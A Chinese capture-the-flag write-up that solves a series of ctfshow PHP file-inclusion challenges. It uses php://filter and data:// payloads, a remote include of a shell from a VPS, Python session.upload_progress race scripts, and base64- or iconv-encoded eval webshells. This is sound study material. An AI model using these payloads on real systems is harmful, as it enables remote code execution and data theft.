文件包含

web78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

include

include 表达式包含并运行指定文件。

被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条 E_WARNING ;这一点和 require 不同,后者会发出一个 E_ERROR

如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。

当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

包含一个php文件会被解析掉

然鹅,如果包含一个非php文件,则会返回到页面上

flag.php显然是个php文件,会被当做php代码解析,不过可以通过php流封装(伪)协议来绕过

php封装协议

法一 php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

filter有resource, read, write三个参数,resource参数是必须的。它指定了你要筛选过滤的数据流。 read和write是可选参数,可以设定一个或多个过滤器名称,以管道符(|)分隔。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。
  • 字符串过滤器

    • string.rot13

    • string.toupper

    • string.tolower

    • string.strip_tags

  • 转换过滤器

    • convert.base64-encode
    • convert.base64-decode
    • convert.quoted-printable-encode
    • convert.quoted-printable-decode
    • convert.iconv.*
  • 压缩过滤器

    • zlib.deflate

    • zlib.inflate

    • bzip2.compress

    • bzip2.decompress

  • 加密过滤器

    • mcrypt.ciphername

    • mdecrypt.ciphername

flag.php通过php://filter流封装协议,封装成base64编码,进入include包含,相当于将flag.phpbase64加密丢进include,从而绕过php解析

?file=php://filter/read=convert.base64-encode/resource=flag.php 

read=可省

法二

同样利用php://filter/resource=后可以是本地目录,也支持http协议,于是,可以传一个shell上去,然后php解析执行

<?php system('tac flag.php');

shell放在vps上

python启动http服务

python3 -m http.server

数据输入流指定到http路由位置(地址)

?file=php://filter/resource=http://[vps]/[shell]

法三 data://

用法:data://text/plain;base64,

data:(» RFC 2397)数据流封装器。

关于RFC 2397:

image-20240727000559532

URL的格式如下:

data:[<mediatype>][;base64],<data>

其中,是一个互联网媒体类型规范(可选参数)。出现";base64"表示数据以base64编码。如果没有;base64,则数据(作为字节序列)使用ASCII编码来表示安全URL字符范围内的字节,并对超出该范围的字节使用标准%xx十六进制编码进行URL编码。 如果省略<mediatype>,默认为text/plain;charset=US-ASCII。作为简写,text/plain可以省略但提供charset参数。


data://协议是将以文本或加密数据传入,怎么说呢,php://filter是通过指定一个目录或者地址去拿数据,而data://是你可以写好数据直接给他

?file=data://text/plain,<?php system('tac flag.php');
或
?file=data://,<?php system('tac flag.php');

image-20240727000953655

法四

甚至

你可以套娃

?file=php://filter/resource=data://text/plain,<?php system('tac flag.php');

web79

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,用data协议,base64加密

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwqJyk7

text/plain可省

image-20240727012429163

web80

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

php和data都被ban了,不过在ctfshow-web之命令执行-web65中提到过日志注入

这里就不多说了,nginx服务器会记录每次请求信息到日志/var/log/nginx/access.log,通过在请求头附加恶意php代码,include包含日志执行php代码

image-20240727014102142

web81

做完这道题,你就已经经历的九九八十一难,是不是感觉很快?
没关系,后面还是九百一十九难,加油吧,少年!
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

多了个:过滤,同web80

web82

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

get传参基本被禁死了,伪协议不让用,.也不让用,又不像shell一样可以通配代替,include必须是实际路径。

不过是否可以使用不带.的文件来包含呢?post上传一个是否可行?

这题跟web56有着异曲同工之妙,只不过web56那题是system函数,可以直接执行shell命令,加上利用post上传会在/tmp目录产生php??????临时文件(生命周期为php运行时间,即php运行结束才会清除;?为随机大小写字母),由此执行shell命令可以通过/???/?????????通配符表示随机的post临时文件路径

然鹅,include可没有通配的作用,六个随机大小写字母欧皇也赌不出来,更别说赌狗了。只能另辟蹊径了

我们可以利用session.upload_progress有关来达到同样目的

Session 上传进度(session.upload_progress)

image-20240806034859825

简单来说,若session.upload_progress.enabled被设置为on(默认开启),我们上传文件时,php会在/tmp目录(session.save_path)下生成一个session文件,里面包含了session.upload_progress.prefix+session.upload_progress.name+session序列化进度信息,其中session.upload_progress.prefix一般为固定的upload_progress_字符串,而session.upload_progress.name默认为PHP_SESSION_UPLOAD_PROGRESS,即上传进度,PHP_SESSION_UPLOAD_PROGRESS是可被设置的,由此,便可以注入恶意php代码

image-20240806043652337

image-20240806045824066

session序列化前的样子

image-20240806045441511

session.auto_start=On或php代码中执行session_start()的情况下,生成的session文件名为sess_+32位md5sessionID~~(应该是,懒得验证了)~~

image-20240806044317616

image-20240806185322355

在7.1往后session.sid_length控制sessionID,设为32默认使用md5

显然,文件名还是不确定的,总不能让我推算md5吧

幸运的是,session.auto_start是默认关闭的,而另一个玩意儿session.use_strict_mode是默认关闭的,这样会话ID(PHPSESSID)就可以在cookies自行设置了

屏幕截图 2024-08-06 033404

例如,将PHPSESSID设置为n0o0b

cookies = {'PHPSESSID': 'n0o0b'}

这样,上传文件时就会在/tmp目录下生成sess_n0o0b文件

image-20240806050604056

不幸的是,当我们cat她的时候,她已经是空的了

这是因为session.upload_progress.cleanup默认开启

image-20240806051013388

机翻的比较狗屎,还是看原文吧。此项配置开启后,文件上传完毕后立即清除该文件内数据,即她的生命周期仅有上传文件的过程

image-20240806051134908

不过,可以进行session维持

本来想过用大文件来维持,不过php大文件上传和小文件上传不太一样,大文件似乎不会产生session上传进度文件,可惜佐证找不到辣

这下只能用条件竞争来维持sess_n0o0b了,很简单,就是不断去上传文件,不断生成

import requests
from io import BytesIO

URL = 'http://192.168.146.129:9092/'

def attack():
    data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php phpinfo();?>"}
    cookies = {'PHPSESSID': 'n0o0b'}
    files = {'file': ('1', BytesIO(b'x' * 102400))}
    requests.post(URL, data, cookies=cookies, files=files)
while 1:
	attack()

由于文件上传时间极短,很难去cat到,所以可以用以下代码去查看

tail -f /tmp/sess_n0o0b

image-20240806180719955

watch cat /tmp/sess_n0o0b

image-20240806181538212

得到sess_n0o0b文件

upload_progress_<?php echo 'bad_code_here';?>|a:5:{s:10:"start_time";i:1722938615;s:14:"content_length";i:102674;s:15:"bytes_processed";i:5255;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:1:"1";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1722938615;s:15:"bytes_processed";i:5255;}}}

可以看出开头为upload_progress_,即session.upload_progress.prefix默认值,而接下来的<?php phpinfo();?>

,是session.upload_progress.name中的PHP_SESSION_UPLOAD_PROGRESS,即在python发包中被设置成的<?php phpinfo();?>,最后,由|隔离的是session信息序列化,包含了时间

现在,经过不断发包可以发现php恶意代码已经不断注入到sess_n0o0b

此时我们再去连续发几个get请求去包含sess_n0o0b文件,这时发现注入的php代码被执行了

image-20240806202105166

本地复现成功,我们在换到靶场实验

由于性能和上传限制,可能要多请求几次才能include到

image-20240806204124518

当然也可以再构造python get脚本

import requests


URL = 'http://2c2ece81-5d99-4639-b5d5-7f0cdd571bc8.challenge.ctf.show/'
def include():
    params={'file':'/tmp/sess_n0o0b'}
    res=requests.get(URL,params=params)
    print(res.text)
while 1:
    include()

先运行上传文件脚本,在另运行get请求脚本

image-20240806213144855

或者二合一,使用python中Thread多线程,在不断更新session文件的同时,并发get请求包含session文件

import requests
from io import BytesIO
import threading

URL = 'http://2c2ece81-5d99-4639-b5d5-7f0cdd571bc8.challenge.ctf.show/'

def attack():
    data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('ls');?>"}
    cookies = {'PHPSESSID': 'n0o0b'}
    files = {'file': ('1', BytesIO(b'x' * 1024000))}
    while 1:
        requests.post(URL, data, cookies=cookies, files=files)
def include():
    params={'file':'/tmp/sess_n0o0b'}
    while 1:
        res=requests.get(URL,params=params)
        print(res.text)


attack = threading.Thread(target=attack)
attack.start()
include()

image-20240806212824708

拿到flag

image-20240806212554873

ctfshow{d8617a43-e2b8-42cc-8548-0eb0922f44f3}

web83

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

多了session_unsetsession_destroy函数

session_destroy

销毁当前会话中的全部数据, 但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。 如果需要再次使用会话变量, 必须重新调用 session_start() 函数。

session_unset

释放当前会话注册的所有会话变量。


这两个函数无伤大雅,我们利用的是文件上传的那段过程,这过程通常在执行php代码直接,也就是说这两个函数不影响session文件的生成,也不会影响对session文件的维持和利用

因此,我们可以继续利用上一题的脚本

import requests
from io import BytesIO
import threading

URL = 'http://192.168.146.129:9092/'

def attack():
    data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('cat fl0g.php');?>"}
    cookies = {'PHPSESSID': 'n0o0b'}
    files = {'file': ('1', BytesIO(b'x' * 1024000))}
    while 1:
        requests.post(URL, data, cookies=cookies, files=files)
def include():
    params={'file':'/tmp/sess_n0o0b'}
    while 1:
        res=requests.get(URL,params=params)
        print(res.text)


attack = threading.Thread(target=attack)
attack.start()
include()

image-20240807021935027

web84

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

system("rm -rf /tmp/*");,看似蓟县,实际无用,不影响session文件的实时产生。删了又能怎样,线程撕裂教他做人,只要我生成的够快,删的一瞬间由生成一个session文件,这就是**权限维持**!

import requests
from io import BytesIO
import threading

URL = 'http://d9aafd68-157d-4eae-a645-88737d92b22f.challenge.ctf.show/'

def attack():
    data = {'PHP_SESSION_UPLOAD_PROGRESS': "<?php system('ls');?>"}
    cookies = {'PHPSESSID': 'n0o0b'}
    files = {'file': ('1', BytesIO(b'x' * 1024000))}
    while 1:
        requests.post(URL, data, cookies=cookies, files=files)
def include():
    params={'file':'/tmp/sess_n0o0b'}
    res=requests.get(URL,params=params)
    if 'upload_progress_' in res.text:
        print(res.text)

'''
while 1:
    threading.Thread(target=attack).start()
    include()
'''

for i in range(5):
    threading.Thread(target=attack).start()
while 1:
    include()

image-20240807023954750

web85

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

天下武功,唯快不破。在检测<结束的后一刻,include包含的前一刻,生成session文件即可,概率学问题

image-20240807024628279

web86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

image-20240807183848320

image-20240807183851622

image-20240809003556480

include只是优先从所设置的目录(include_path)去包含文件,并非限制目录,不影响绝对路径的包含

image-20240807184221897

web87

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

GET传参file文件名,POST传参content文件内容,死亡diecontent一起file_put_contents函数写入file,遇到php闭合的“死亡die”就直接结束了,后面content仅当纯文本,好在有urldecode让file有一次url解码的机会,可以编码传参绕过四行过滤,这样我们就可以用封装协议

以往,我们都是利用封装协议加密绕过php解析读取文件信息,如今,我们也可以利用封装协议解密传入数据进行写入文件,这样将某些不可避免的死亡代码当做编码解码掉,在加上构造好的编码好的恶意代码经过同样解码,最终一同写入到文件中

涉及写入文件,需要用到php://来访问各个输入/输出流(I/O streams),再加上filter构成元封装器,参数选择write过滤器可以选择如convert.base64-decode等,resource=[要写入的文件]

不过需要注意的是,由于base64加解密前后有位数变化,需要凑字数来构造payload

字符串按照二进制8bits一个字符,base64_encode是将所有二进制位6bits一个字符分割生成一段新字符

Base64-da

image-20240809020405758image-20240809012222879

简单来说,加密前三字符加密后四个字符,不够四个补**=**

先写一段一句话木马进行base64加密

image-20240809015335270

我们目的是经过封装协议解密后能还原出木马,可解码后为何是乱码,这就是刚才提到base64加密位分割的问题了

image-20240809015629463

汉字按3个字符算,"死亡die"一共31个字符,不足3的倍数,应当给“死亡die“补2位字符凑够完整

image-20240809020514868

现在,我们需要POST上传的就是aaPD9waHAgQGV2YWwoJF9HRVRbY21kXSk7Pz4=

防止出现url解析+为空格的情况,可以对上传进行一次url编码

再根据前面说的构造封装协议

php://filter/write=convert.base64-decode/resource=shell.php

源代码中,对file参数有一次urldecode,然而,http本身会对上传的内容进行一次url解码,所以我们要二次url编码构造GET传参

image-20240809032159310

访问木马文件,拿flag

/shell.php?cmd=system('tac fl0g.php');

image-20240809032233059

web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

web78中的[法三](#法三 data://)提到了**data://**协议,相当于构造一个临时文件(流),官方称之为"immediate addressing"

data:[<mediatype>][;base64],<data>

当然,不仅可以data直接输入,同样支持data经base64解码后输入

于是就很简单了,构造base64加密的一句话木马

?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9HRVRbY21kXSk7Pz4&cmd=phpinfo();

text/plain可省略

image-20240809033609372

web116

下载视频

binwalk发现有png

image-20240809040249584

foremost分离找到png

00080067

?file=flag.php

不知道为什么edge无响应数据,firefox返回base64,可能因为Content-Type: video/mp4被浏览器当MP4解析掉了

image-20240809043331375

python

image-20240809043402543

web117

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

web87差不多,不过ban了不少,常用的过滤器都用不了了,轮到convert.iconv.*上场了

image-20240809231306021

利用编码中BE(小端序)和LE(大端序)绕过,PHP: 支持的字符编码 - Manual

utf被ban了,还有ucs可以用,我们用ucs-2LE和usc-2BE,这一对前后转换后每隔2字符是反序的

若用ucs-4LE和usc-4BE,即每隔4字符是反序的

<?php die();?>为偶数字符,可以直接接上如下生成的木马

<?php
$shell='<?php @eval($_GET[cmd]);?>';
echo iconv("UCS-2LE", "UCS-2BE",$shell);
//?<hp pe@av(l_$EG[Tmc]d;)

image-20240809233556360

image-20240809233735335